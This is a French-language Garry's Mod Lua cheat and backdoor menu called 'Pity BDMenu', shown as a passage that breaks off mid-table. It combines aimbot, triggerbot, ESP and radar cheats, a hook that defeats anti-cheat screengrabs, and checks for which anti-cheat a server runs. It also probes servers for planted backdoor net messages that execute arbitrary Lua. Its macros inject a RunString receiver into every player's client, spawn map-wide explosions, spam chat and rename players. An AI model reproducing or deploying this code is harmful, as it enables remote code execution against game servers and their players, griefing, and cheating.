· 5 years ago · Aug 09, 2020, 11:58 AM
1MsgC (Color(255, 73, 73), [[
2
3██████╗ ██╗████████╗██╗ ██╗
4██╔══██╗██║╚══██╔══╝╚██╗ ██╔╝
5██████╔╝██║ ██║ ╚████╔╝
6██╔═══╝ ██║ ██║ ╚██╔╝
7██║ ██║ ██║ ██║
8╚═╝ ╚═╝ ╚═╝ ╚═╝
9███████████████████████████████████
10███████████████████████████████████
11███████████████████████████████████
12███████████────███──────███████████
13██████████─────███───────██████████
14█████████───██████───────██████████
15██████████████───██───────█████████
16██████████────────█──────██████████
17███████───────────█──────██████████
18█████─────────────█─────█────██████
19████──────────────█────██────██████
20████─────────────██────█──────█████
21████────────────██─────█─────██████
22████──────────███──────█─────██████
23███───────██████──────██─────██─███
24███───────██████──────█─────██───██
25███────────█████─────██─────██───██
26███──────────███─────██─────█────██
27███───────────██──████─────██───███
28███────────────██──███─────██───███
29███─────────────██████─────█────███
30████────────────██████─────█────███
31█████────────────██████───██────███
32██████───────────█──████████───████
33██████───────────────███─██████████
34███████───────────────────█████████
35████████─────────────────────██████
36█████████────────────────────██████
37█████████───────────────────███████
38██████████─────────────────████████
39██████████────────────────█████████
40██████████──────────────███████████
41██████████─────────────████████████
42██████████─────────────████████████
43██████████─────────────████████████
44██████████─────────────████████████
45██████████─────────────████████████
46██████████─────────────████████████
47██████████─────────────████████████
48██████████─────────────██████████
49]])
50print("\n")
51
52
53chat.AddText(Color(0, 0, 0), "[", "Pity", "] ", Color( 255, 255, 255 ), "Menu chargé avec sucès" )
54
55local me = LocalPlayer()
56
57
58/*================================
59|===== Pity BDMenu =====|
60=================================*/
61
62local ss = false
63
64local renderv = render.RenderView
65local renderc = render.Clear
66local rendercap = render.Capture
67local vguiworldpanel = vgui.GetWorldPanel
68
69local function screengrab()
70if ss then return end
71ss = true
72
73renderc( 0, 0, 0, 255, true, true )
74renderv( {
75origin = LocalPlayer():EyePos(),
76angles = LocalPlayer():EyeAngles(),
77x = 0,
78y = 0,
79w = ScrW(),
80h = ScrH(),
81dopostprocess = true,
82drawhud = true,
83drawmonitors = true,
84drawviewmodel = true
85} )
86
87local vguishits = vguiworldpanel()
88
89if IsValid( vguishits ) then
90vguishits:SetPaintedManually( true )
91end
92
93timer.Simple( 0.1, function()
94vguiworldpanel():SetPaintedManually( false )
95ss = false
96end)
97end
98
99render.Capture = function(data)
100screengrab()
101local cap = rendercap( data )
102return cap
103end
104
105local blur = Material("pp/blurscreen")
106local function DrawBlur(panel, amount)
107local x, y = panel:LocalToScreen(0, 0)
108local scrW, scrH = ScrW(), ScrH()
109surface.SetDrawColor(255, 255, 255)
110surface.SetMaterial(blur)
111for i = 1, 3 do
112blur:SetFloat("$blur", (i / 3) * (amount or 6))
113blur:Recompute()
114render.UpdateScreenEffectTexture()
115surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
116end
117end
118
119if (_G.QAC or _G.CAC) then
120chat.AddText(Color( 0, 0, 0), "[Pity] ", Color( 255, 114, 114 ), "Cake AntiCheat détecté" )
121else
122net.SendToServer()
123end
124
125
126if (_G.ulx or _G.ulib) then
127net.SendToServer()
128else
129chat.AddText(Color( 0, 0, 0), "[Pity] ", Color( 255, 114, 114 ), "Ulx non détecté" )
130end
131
132if file.Exists("snte_source.lua","LUA") == true or file.Exists ( "autorun/server/snte_source.lua", "LUA" ) == true then
133chat.AddText(Color( 0, 0, 0), "[Pity] ", Color( 255, 114, 114 ), "SNTE détecté!!!!" )
134snte=true
135else
136snte=false
137end
138
139if file.Exists( "autorun/server/anti-bhop.lua", "GAME" ) == true then
140chat.AddText(Color( 0, 0, 0), "[Pity] ", Color( 255, 114, 114 ), "C0nw0nks Anticheat détecté" )
141else
142net.SendToServer()
143end
144
145if file.Exists( "cl_HAC.lua", "LUA" ) == true or file.Exists( "autorun/server/sv_HAC.lua", "LUA" ) == true then
146chat.AddText(Color( 0, 0, 0), "[Pity] ", Color( 255, 114, 114 ), "Hex's Anticheat détecté" )
147else
148net.SendToServer()
149end
150
151
152
153
154/*===================================== fiji_
155|===== Pity Fonts =====|
156======================================*/
157
158
159surface.CreateFont("pityersave", {font = "Arial", size = 80,weight = 1000, antialias = 0})
160surface.CreateFont("pity_home1",{font = "Arial", size = 60, weight = 2000, antialias = 0})
161surface.CreateFont("pity_home2",{font = "Arial", size = 13, weight = 1000, antialias = 0})
162surface.CreateFont("pity_home3",{font = "Arial", size = 15, weight = 2, antialias = 0})
163surface.CreateFont("pity_home4",{font = "Arial", size = 20, weight = 2000, antialias = 0})
164surface.CreateFont("pity_home5",{font = "Arial", size = 13, weight = 100, antialias = 0})
165surface.CreateFont("PRINTERDETECT", {font = "", size = 20,weight = 1000, antialias = 0})
166surface.CreateFont("pity_homeBTN",{font = "Roboto", size = 13, weight = 100, shadow = true, italic = true, antialias = 0})
167surface.CreateFont("pity_homemini",{font = "Arial", size = 12, weight = 0, antialias = 0})
168
169--fun
170local fiji_fun_bunnyhop = CreateClientConVar( "fiji_fun_bunnyhop", "0", true )
171local fiji_fun_spamlight = CreateClientConVar( "fiji_fun_spamlight", "0", true )
172local fiji_fun_spamrope = CreateClientConVar( "fiji_fun_spamrope", "0", true )
173local fiji_fun_thperson = CreateClientConVar( "fiji_fun_thperson", "0", true )
174local fiji_fun_radar = CreateClientConVar( "fiji_fun_radar", "0", true )
175local fiji_fun_radartech = CreateClientConVar( "fiji_fun_radartech", "0", true )
176local fiji_fun_miroir = CreateClientConVar( "fiji_fun_miroir", "0", true )
177local fiji_fun_screengrab = CreateClientConVar( "fiji_fun_screengrab", "1", true )
178
179--crosshair
180local fiji_fun_crosshair = CreateClientConVar( "fiji_fun_crosshair", "0", true )
181local fiji_fun_crosshaircolor1 = CreateClientConVar( "fiji_fun_crosshaircolor1", "255", true )
182local fiji_fun_crosshaircolor2 = CreateClientConVar( "fiji_fun_crosshaircolor2", "0", true )
183local fiji_fun_crosshaircolor3 = CreateClientConVar( "fiji_fun_crosshaircolor3", "0", true )
184local fiji_fun_crosshaircolortype = CreateClientConVar( "fiji_fun_crosshaircolortype", "0", true )
185local fiji_fun_crosshairstyle = CreateClientConVar( "fiji_fun_crosshairstyle", "1", true )
186local fiji_fun_crosshairtaille = CreateClientConVar( "fiji_fun_crosshairtaille", "1", true )
187
188local fiji_aimbot_active = CreateClientConVar( "fiji_aimbot_active", "0", true )
189local fiji_aimbot_wall = CreateClientConVar( "fiji_aimbot_wall", "0", true )
190local fiji_aimbot_friends = CreateClientConVar( "fiji_aimbot_friends", "0", true )
191local fiji_aimbot_team = CreateClientConVar( "fiji_aimbot_team", "0", true )
192local fiji_aimbot_admin = CreateClientConVar( "fiji_aimbot_admin", "0", true )
193local fiji_aimbot_key = CreateClientConVar( "fiji_aimbot_key", KEY_W, true )
194local fiji_aimbot_fov = CreateClientConVar( "fiji_aimbot_fov", "180", true )
195local fiji_aimbot_dist = CreateClientConVar( "fiji_aimbot_dist", "1500", true )
196local fiji_aimbot_propa = CreateClientConVar( "fiji_aimbot_propa", 0 )
197local fiji_aimbot_relock = CreateClientConVar( "fiji_aimbot_relock", "0", true ) -- auto reviser
198local fiji_aimbot_attack = CreateClientConVar( "fiji_aimbot_attack", "chest", true ) -- choisir zone
199
200
201local fiji_triggerbot_active = CreateClientConVar( "fiji_triggerbot_active", 0 )
202local fiji_triggerbot_opti = CreateClientConVar( "fiji_triggerbot_opti", 0 )
203local fiji_triggerbot_real = CreateClientConVar( "fiji_triggerbot_real", 0 )
204local fiji_triggerbot_team = CreateClientConVar( "fiji_triggerbot_team", 0 )
205local fiji_triggerbot_wall = CreateClientConVar( "fiji_triggerbot_wall", 0 )
206local fiji_triggerbot_friends = CreateClientConVar( "fiji_triggerbot_friends", 0 )
207
208local fiji_menu_princ_color = CreateClientConVar( "fiji_menu_princ_color", "50", true, false )
209local fiji_menu_sec_color = CreateClientConVar( "fiji_menu_sec_color", "50", true, false )
210local fiji_menu_th_color = CreateClientConVar( "fiji_menu_th_color", "50", true, false )
211local fiji_style_menu = CreateClientConVar( "fiji_style_menu", "3", true, false )
212
213local fiji_principal_color = CreateClientConVar( "fiji_principal_color", "255", true, false )
214local fiji_secondary_color = CreateClientConVar( "fiji_secondary_color", "0", true, false )
215local fiji_third_color = CreateClientConVar( "fiji_third_color", "0", true, false )
216local fiji_principal_color_infos = CreateClientConVar( "fiji_principal_color_infos", "255", true, false )
217local fiji_secondary_color_infos = CreateClientConVar( "fiji_secondary_color_infos", "255", true, false )
218local fiji_third_color_infos = CreateClientConVar( "fiji_third_color_infos", "255", true, false )
219local fiji_principal_color_ent = CreateClientConVar( "fiji_principal_color_ent", "255", true, false )
220local fiji_secondary_color_ent = CreateClientConVar( "fiji_secondary_color_ent", "0", true, false )
221local fiji_third_color_ent = CreateClientConVar( "fiji_third_color_ent", "0", true, false )
222local fiji_principal_color_props = CreateClientConVar( "fiji_principal_color_props", "255", true, false )
223local fiji_secondary_color_props = CreateClientConVar( "fiji_secondary_color_props", "0", true, false )
224local fiji_third_color_props = CreateClientConVar( "fiji_third_color_props", "0", true, false )
225local fiji_style_player = CreateClientConVar( "fiji_style_player", "0", true, false )
226local fiji_principal_color_player = CreateClientConVar( "fiji_principal_color_player", "255", true, false )
227local fiji_secondary_color_player = CreateClientConVar( "fiji_secondary_color_player", "0", true, false )
228local fiji_third_color_player = CreateClientConVar( "fiji_third_color_player", "0", true, false )
229
230local fiji_vision_enable = CreateClientConVar( "BD_hitman_enable", 1 )
231local fiji_vision_enable_ent = CreateClientConVar( "BD_hitman_enable_ent", 0 )
232local fiji_vision_enable_props = CreateClientConVar( "BD_hitman_enable_props", 0 )
233local fiji_vision_type = CreateClientConVar( "BD_hitman_type", 1 )
234local fiji_vision_infos_name = CreateClientConVar( "BD_hitman_infos_name", 1 )
235local fiji_vision_infos_weapons = CreateClientConVar( "BD_hitman_infos_weapons", 1 )
236local fiji_vision_infos_health = CreateClientConVar( "BD_hitman_infos_health", 1 )
237local fiji_vision_distance = CreateClientConVar( "BD_hitman_distance", 7000 )
238local fiji_vision_distance_infos = CreateClientConVar( "BD_hitman_distance_infos", 800 )
239local fiji_vision_distance_ent = CreateClientConVar( "BD_hitman_distance_ent", 800 )
240local fiji_vision_distance_props = CreateClientConVar( "BD_hitman_distance_props", 800 )
241local fiji_vision_enable_enthalo = CreateClientConVar( "fiji_vision_enable_enthalo", 1 )
242local fiji_vision_enable_enttext = CreateClientConVar( "fiji_vision_enable_enttext", 1 )
243
244
245local physgun_wheelspeed = CreateClientConVar( "physgun_wheelspeed", "100", true, false )
246
247local fiji_pitylogo = Material( "addons/base_ui_gmod/mat/pitylogo.png" )
248local fiji_pityhome = Material( "addons/base_ui_gmod/mat/pityhome.png" )
249local fiji_pityesp = Material( "addons/base_ui_gmod/mat/pityesp.png" )
250local fiji_pityaimbot = Material( "addons/base_ui_gmod/mat/pityaimbot.png" )
251local fiji_pitymisc = Material( "addons/base_ui_gmod/mat/pitymisc.png" )
252local fiji_pityexploits = Material( "addons/base_ui_gmod/mat/pityexploits.png" )
253local fiji_pitybackdoors = Material( "addons/base_ui_gmod/mat/pitybackdoors.png" )
254local fiji_pityconfig = Material( "addons/base_ui_gmod/mat/pityconfig.png" )
255local fiji_pitydiscordwidget = Material( "addons/base_ui_gmod/mat/pitydiscordwidget.png" )
256
257
258local fiji_exist_contentpity = CreateClientConVar( "fiji_exist_contentpity", 0 )
259
260local fiji_pityhover = "mat/pityhover2.wav"
261local fiji_pityclick = "mat/pityclick2.wav"
262
263local fiji_sv_existmen = CreateClientConVar( "fiji_sv_existmen", 0 )
264
265
266--[[if file.Exists( "addons/pity/field_constant.lua", "GAME" ) == true or file.Exists( "field_constant.lua", "LUA" ) == true then
267LocalPlayer():ConCommand("fiji_exist_contentpity 1")
268else
269LocalPlayer():ConCommand("fiji_exist_contentpity 0")
270chat.AddText(Color( 0, 0, 0), "[Pity] ", Color( 255, 114, 114 ), "ERREUR - Vous n'avez pas installé les contents du menu." )
271end ]]--
272
273if file.Exists( "addons/base_ui_gmod/mat/pitylogo.png", "GAME" ) == true then
274LocalPlayer():ConCommand("fiji_exist_contentpity 1")
275else
276LocalPlayer():ConCommand("fiji_exist_contentpity 0")
277chat.AddText(Color( 0, 0, 0), "[Pity] ", Color( 255, 114, 114 ), "ERREUR - Vous n'avez pas installé les contents du menu." )
278end
279
280hook.Add("Think", "RGBSTF", function()
281local rainbowC = HSVToColor( CurTime() % 6 * 60, 1, 1 )
282
283if fiji_style_player:GetInt() == 1 then
284LocalPlayer():SetWeaponColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
285LocalPlayer():SetPlayerColor( Vector( rainbowC.r / 255, rainbowC.g / 255, rainbowC.b / 255 ) )
286else
287LocalPlayer():SetWeaponColor( Vector( fiji_principal_color_player:GetInt(),fiji_secondary_color_player:GetInt(),fiji_third_color_player:GetInt(), 255 ) )
288LocalPlayer():SetPlayerColor(Vector( fiji_principal_color_player:GetInt(),fiji_secondary_color_player:GetInt(),fiji_third_color_player:GetInt(), 255 ) )
289end
290end)
291
292
293/*=====================================
294|===== Pity Backdoors =====|
295======================================*/
296
297
298local hide = {
299CHudCrosshair = true,
300}
301
302local triangle = {
303{ x = 50, y = 100 },
304{ x = 75, y = 50 },
305{ x = 100, y = 200 }
306
307}
308
309hook.Add( "HUDShouldDraw", "HideHUD", function( name )
310if( fiji_fun_crosshair:GetInt() == 1 ) then
311if ( hide[ name ] ) then return false end
312end
313end )
314local function FillRGBA(x,y,w,h,col)
315surface.SetDrawColor( col.r, col.g, col.b, col.a );
316surface.DrawRect( x, y, w, h );
317end
318local function DrawCrosshair()
319
320local w = ScrW() / 2.003;
321local h = ScrH() / 2;
322local stretch = fiji_fun_crosshairtaille:GetInt()
323
324if not LocalPlayer():InVehicle() then
325if fiji_fun_crosshairstyle:GetInt() == 1 then
326if fiji_fun_crosshaircolortype:GetInt() == 1 then
327FillRGBA( w - fiji_fun_crosshairtaille:GetInt()/2-14.2,h , fiji_fun_crosshairtaille:GetInt() + 30, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) );
328FillRGBA( w, h - fiji_fun_crosshairtaille:GetInt()/2-13, 2, fiji_fun_crosshairtaille:GetInt() + 30, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) );
329elseif fiji_fun_crosshaircolortype:GetInt() == 2 then
330FillRGBA( w - fiji_fun_crosshairtaille:GetInt()/2-14.2,h , fiji_fun_crosshairtaille:GetInt() + 30, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) );
331FillRGBA( w, h - fiji_fun_crosshairtaille:GetInt()/2-13, 2, fiji_fun_crosshairtaille:GetInt() + 30, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) );
332else
333FillRGBA( w - fiji_fun_crosshairtaille:GetInt()/2-14.2,h , fiji_fun_crosshairtaille:GetInt() + 30, 2, Color(fiji_fun_crosshaircolor1:GetInt(), fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(), 255 ) );
334FillRGBA( w, h - fiji_fun_crosshairtaille:GetInt()/2-13, 2, fiji_fun_crosshairtaille:GetInt() + 30, Color(fiji_fun_crosshaircolor1:GetInt(), fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(), 255 ) );
335end
336elseif fiji_fun_crosshairstyle:GetInt() == 2 then
337if fiji_fun_crosshaircolortype:GetInt() == 1 then
338surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt()-9, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
339surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt(), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
340elseif fiji_fun_crosshaircolortype:GetInt() == 2 then
341surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt()-9, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
342surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt(), Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
343else
344surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt()-9, Color(fiji_fun_crosshaircolor1:GetInt(), fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(), 255 ))
345surface.DrawCircle(w, h, fiji_fun_crosshairtaille:GetInt(), Color(fiji_fun_crosshaircolor1:GetInt(), fiji_fun_crosshaircolor2:GetInt(), fiji_fun_crosshaircolor3:GetInt(), 255 ))
346end
347
348end
349end
350end
351
352
353
354function DrawXHair()
355if( fiji_fun_crosshair:GetInt() == 1 ) then
356DrawCrosshair();
357end
358end
359hook.Add( "HUDPaint", "DrawXHair", DrawXHair );
360
361local BD = {}
362local h = http
363
364
365BD.Backdoors = BD.Backdoors or {}
366
367BD.BackdoorTypes = {
368
369["Fpp"] = {
370
371["Code"] = "util.AddNetworkString( 'data_check' ) net.Receive( 'data_check', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )",
372
373["Netkey"] = "data_check",
374
375},
376
377}
378
379
380
381
382local netsss = net.Start
383
384function BD.IsMessagePooled( netmessage )
385
386local netfunc = netsss
387
388local status, error = pcall( netfunc, netmessage )
389
390return status
391
392end
393
394function ValidNetString( str )
395local status, error = pcall( net.Start, str )
396return status
397end
398
399local net = net
400
401
402local ctxt = chat.AddText
403
404function BD.ChatText( message, col )
405
406ctxt( Color(255, 114, 114), "[Pity] ", col, message )
407
408end
409
410function CHATPRINT( str )
411end
412
413
414
415
416
417
418function BD.PingBackDoors()
419
420local bds = {}
421
422for k, v in pairs(BD.BackdoorTypes) do
423
424if BD.IsMessagePooled( tostring( v.Netkey ) ) then bds[k] = true end
425
426end
427
428return bds
429
430end
431
432concommand.Add("bd_refresh_backdoors", function() BD.Backdoors = BD.PingBackDoors() end)
433
434
435
436function BD.BackdoorActive()
437
438return table.Count( BD.Backdoors ) > 0
439
440end
441
442
443
444if fiji_fun_crosshair:GetInt() == 1 then
445DrawCrosshair();
446else end
447
448
449
450local function CommandesDraw()
451if fiji_fun_radar:GetInt() == 2 then
452local pitch = -2
453if pitch < 0 then pitch = pitch * LocalPlayer():EyeAngles().p end
454local yaw = 180
455if yaw < 0 then yaw = yaw * LocalPlayer():EyeAngles().y end
456local roll = 0
457if roll < 0 then roll = roll * LocalPlayer():EyeAngles().r end
458local Cam = {}
459Cam.angles = Angle( LocalPlayer():EyeAngles().p + pitch, LocalPlayer():EyeAngles().y + yaw, LocalPlayer():EyeAngles().r + roll )
460Cam.origin = LocalPlayer():GetShootPos()
461Cam.x = 0
462Cam.y = 0
463Cam.w = 200
464Cam.h = 200
465render.RenderView( Cam )
466surface.SetDrawColor( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt() )
467surface.DrawOutlinedRect( 0, 0, 200,200 )end
468
469if fiji_fun_radar:GetInt() == 1 then
470local Cam = {}
471Cam.angles = Angle( 90, LocalPlayer():EyeAngles().y, 0 )
472local Zvar = 2000
473local trace = {}
474trace.start = LocalPlayer():GetPos() + Vector( 0, 0, 5 )
475trace.endpos = LocalPlayer():GetPos() + Vector( 0, 0, 2000 )
476trace.filter = LocalPlayer()
477if util.TraceLine( trace ).Hit then
478Zvar = util.TraceLine( trace ).HitPos.z - 5 - LocalPlayer():GetPos().z
479
480end
481surface.SetDrawColor( 30, 30, 30, 255 )
482surface.DrawRect( 0,0,200,200 )
483Cam.origin = LocalPlayer():GetPos() + Vector( 0, 0, Zvar )
484Cam.x = 0
485Cam.y = 0
486Cam.w = 200
487Cam.h = 200
488
489
490surface.SetDrawColor( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt() )
491surface.DrawOutlinedRect( 0, 0, 200,200 )
492
493 local size = 200
494 local fov = 28
495 local x = 0
496 local y = 0
497for key, ply in pairs(player.GetAll()) do
498
499 local teamcol = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 )
500
501 local lx = me:GetPos().x - ply:GetPos().x
502 local ly = me:GetPos().y - ply:GetPos().y
503 local ang = EyeAngles().y
504 local cos = math.cos(math.rad(-ang))
505 local sin = math.sin(math.rad(-ang))
506 local px = (ly * cos) + (lx * sin)
507 local py = (lx * cos) - (ly * sin)
508 px = px / fov
509 py = py / fov
510 px = math.Clamp(px, -(size * 0.50), size * 0.50)
511 py = math.Clamp(py, -(size * 0.50), size * 0.50)
512 if ply:GetPos():Distance( LocalPlayer():GetPos() ) > 2500 then continue end
513 if ply != me then
514 local name = player.GetAll()[key]:Nick()
515 local job = player.GetAll()[key]:Team()
516 draw.SimpleText(name, "pity_homemini", x + size - (size * 0.50) + px - 13, y + size - (size * 0.56) + py - 7, teamcol, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
517 draw.SimpleText(job, "pity_homemini", x + size - (size * 0.50) + px - 13, y + size - (size * 0.50) + py - 7, teamcol, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
518 end
519 if ply != me then
520 surface.SetDrawColor(teamcol)
521 surface.DrawRect(x + size - (size * 0.50) + px, y + size - (size * 0.50) + py, 3, 3)
522 else
523 surface.SetDrawColor(255,255,255)
524 surface.DrawRect(x + size - (size * 0.51) + px, y + size - (size * 0.50) + py, 5, 5)
525
526 end
527 surface.DrawLine(x, y, x + (size / 2), y + (size / 2))
528 surface.DrawLine(x + size, y, x + (size / 2), y + (size / 2))
529
530--surface.SetDrawColor( 255, 255, 255, 255 )
531--surface.DrawRect( ScrW() / 2 - 1, ScrH() / 2 - 1, 2, 2 )
532end
533end
534end
535hook.Add( "HUDPaint", "LESP", CommandesDraw )
536
537hook.Add("Think", "fijispamlight", function(ucmd, origin, angles, calcview, fov, p, o, a, f, aaaaa )
538if fiji_fun_spamlight:GetInt() == 1 then
539if input.IsKeyDown(KEY_F) then me:ConCommand("impulse 100") end
540end
541
542end)
543hook.Add("Think", "fijifolie", function(ucmd, origin, angles, calcview, fov, p, o, a, f, aaaaa )
544if fiji_fun_spamrope:GetInt() == 1 then
545if input.IsKeyDown(KEY_H) then
546
547local fijiangle = Angle(math.random(-90, 90), math.random(-180, 180), 0)
548
549me:SetEyeAngles( fijiangle )
550
551end end
552end)
553
554local fijibhop = false
555hook.Add("Think", "fijibhop", function()
556if fiji_fun_bunnyhop:GetInt() == 1 then
557if (input.IsKeyDown( KEY_SPACE ) ) then
558if LocalPlayer():IsOnGround() then
559RunConsoleCommand("+jump")
560HasJumped = 1
561else
562RunConsoleCommand("-jump")
563HasJumped = 0
564end
565elseif fiji_fun_bunnyhop:GetInt() == 0 and LocalPlayer():IsOnGround() then
566if HasJumped == 1 then
567RunConsoleCommand("-jump")
568HasJumped = 0
569end
570end
571end
572end)
573
574
575if fiji_fun_thperson:GetInt() == 1 then
576
577hook.Add( "CalcView", "ThirdPerson", function(ply, pos, angles, fov)
578 local ThirdPerson = {}
579 if fiji_fun_thperson:GetInt() == 1 then
580 ThirdPerson.origin = pos-( angles:Forward()*100 )
581 ThirdPerson.angles = angles
582 ThirdPerson.fov = fov
583 ThirdPerson.drawviewer = true
584 return ThirdPerson
585 elseif fiji_fun_thperson:GetInt() == 1 then
586 ThirdPerson.origin = pos-( angles:Forward() )
587 ThirdPerson.angles = angles
588 ThirdPerson.fov = fov
589 end
590end)
591
592end
593
594function BD.IsDead( ply )
595if !ply:IsValid() or !ply:Alive() or ply:GetObserverMode() != OBS_MODE_NONE then return true end
596return false
597end
598
599function BD.GetActive()
600
601if !BD.BackdoorTypes[BD.CurrentBackdoor] then return { ["Code"] = "local x = 69", ["Netkey"] = "" } end
602
603return BD.BackdoorTypes[BD.CurrentBackdoor]
604
605end
606
607
608
609BD.BDMacros ={
610
611
612
613
614/*===========================================
615|===== Commandes Sur Tout Les Joueurs =====|
616============================================*/
617
618
619
620
621
622["Armageddon"] = {
623
624["Type"] = 1,
625
626["Code"] = [[if !bombstrike then
627
628hook.Add("Think", "lulz_bombstrike", function()
629
630local explode = ents.Create( "env_explosion" )
631
632local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
633
634local trc = {}
635
636trc.start = ps
637
638trc.endpos = ps + Vector( 0, 0, -99999)
639
640local tr = util.TraceLine(trc)
641
642if !tr.Hit then return end
643
644explode:SetPos( tr.HitPos )
645
646explode:Spawn()
647
648explode:SetKeyValue( "iMagnitude", "400" )
649
650explode:Fire( "Explode", 0, 0 )
651
652end)
653
654bombstrike = true
655
656else
657
658hook.Remove("Think", "lulz_bombstrike")
659
660bombstrike = false
661
662end]],
663
664},
665
666
667
668
669
670["Injecter Backdoor"] = {
671
672["Type"] = 1,
673
674["Code"] = [[
675
676util.AddNetworkString( "fijiconn" )
677
678function BDSendLua( p, str ) net.Start( "fijiconn" ) net.WriteString( str ) net.Send( p ) end
679
680function BDSendLuaAll( str ) net.Start( "fijiconn" ) net.WriteString( str ) net.Broadcast() end
681
682function BDInjectAids( p ) p:SendLua( 'net.Receive( "fijiconn", function() RunString( net.ReadString() ) end )' ) end
683
684for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
685
686hook.Add( "PlayerInitialSpawn", "pityisyourfriend", function( p ) BDInjectAids( p ) end)
687
688]],
689
690
691},
692
693
694
695["Annonce au Joueurs"] = {
696
697["Type"] = 1,
698
699["Code"] = [[for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, @1 ) end]],
700
701["NeedsParameters"] = 1,
702
703},
704
705
706
707["Changer pseudos"] = {
708
709["Type"] = 1,
710
711["Code"] = [[ for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, @1) v:setDarkRPVar("rpname", @1) end ]],
712
713["NeedsParameters"] = 1,
714
715},
716
717
718["Spam Chat"] = {
719
720["Type"] = 1,
721
722["Code"] = [[
723
724if !timer.Exists( "wutckoasa" ) then
725
726timer.Create( "wutckoasa", 0.01, 0, function() BDSendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), @1 )' ) end)
727
728else
729
730timer.Remove( "wutckoasa" )
731
732end]],
733
734["NeedsParameters"] = 1,
735
736},
737
738
739
740["Ouvrir les portes"] = {
741
742["Type"] = 1,
743
744["Code"] = [[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]],
745
746
747},
748
749
750
751
752
753["♾ Verre cassé"] = {
754
755["Type"] = 1,
756
757["Code"] = [[
758
759if !timer.Exists( "A true masterpiece" ) then
760
761timer.Create( "A true masterpiece", 0.2, 0, function()
762
763for _, p in pairs(player.GetAll()) do
764
765p:EmitSound( "physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random( 40, 180 ) )
766
767end
768
769end)
770
771else
772
773timer.Remove( "A true masterpiece" )
774
775end]],
776
777},
778
779
780
781["♾ Yeeaahh !"] = {
782
783["Type"] = 1,
784
785["Code"] = [[
786
787if !timer.Exists( "porn" ) then
788
789timer.Create( "porn", 0.3, 0, function()
790
791for _, p in pairs(player.GetAll()) do
792
793p:EmitSound( "vo/npc/female01/yeah02.wav", 100, math.random( 90, 120 ) )
794
795end
796
797end)
798
799else
800
801timer.Remove( "porn" )
802
803end]],
804
805},
806
807["♾ Boxeur"] = {
808
809["Type"] = 1,
810
811["Code"] = [[
812
813if !timer.Exists( "impakt" ) then
814
815timer.Create( "impakt", 0.3, 0, function()
816
817for _, p in pairs(player.GetAll()) do
818
819p:EmitSound( "physics/body/body_medium_impact_hard1.wav", 100, math.random( 90, 120 ) )
820
821end
822
823end)
824
825else
826
827timer.Remove( "impakt" )
828
829end]],
830
831},
832
833["♾ Cloche"] = {
834
835["Type"] = 1,
836
837["Code"] = [[
838if !timer.Exists( "pimpon" ) then
839
840timer.Create( "pimpon", 0.3, 0, function()
841
842for _, p in pairs(player.GetAll()) do
843
844p:EmitSound( "ambient/alarms/warningbell1.wav", 100, math.random( 90, 120 ) )
845
846end
847
848end)
849
850else
851
852timer.Remove( "pimpon" )
853
854end
855]],
856
857},
858
859["♾ Guerre civil"] = {
860
861["Type"] = 1,
862
863["Code"] = [[
864
865if !timer.Exists( "cwar" ) then
866
867timer.Create( "cwar", 1, 0, function()
868
869for _, p in pairs(player.GetAll()) do
870
871p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
872
873end
874
875end)
876
877else
878
879timer.Remove( "cwar" )
880
881end]],
882
883},
884
885
886
887["Séisme"] = {
888
889["Type"] = 1,
890
891["Code"] = [[
892
893if !timer.Exists( "earthquake" ) then
894
895timer.Create( "earthquake", 0.5, 500, function()
896
897for _, p in pairs(player.GetAll()) do
898
899p:SetPos( p:GetPos() + Vector( 0, 0, 1 ) )
900
901p:SetVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) )
902
903util.ScreenShake( p:GetPos(), 20, 1, 1, 100 )
904
905p:EmitSound( "ambient/explosions/exp1.wav", 100, math.random( 60, 100 ) )
906
907end
908
909
910
911for _, e in pairs(ents.GetAll()) do
912
913if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity( Vector( math.random( -50, 50 ), math.random( -50, 50 ), math.random( 100, 150 ) ) ) end
914
915end
916
917
918end)
919
920else
921
922timer.Remove( "earthquake" )
923
924end]],
925
926},
927
928
929
930["Exploser les véhicules"] = {
931
932["Type"] = 1,
933
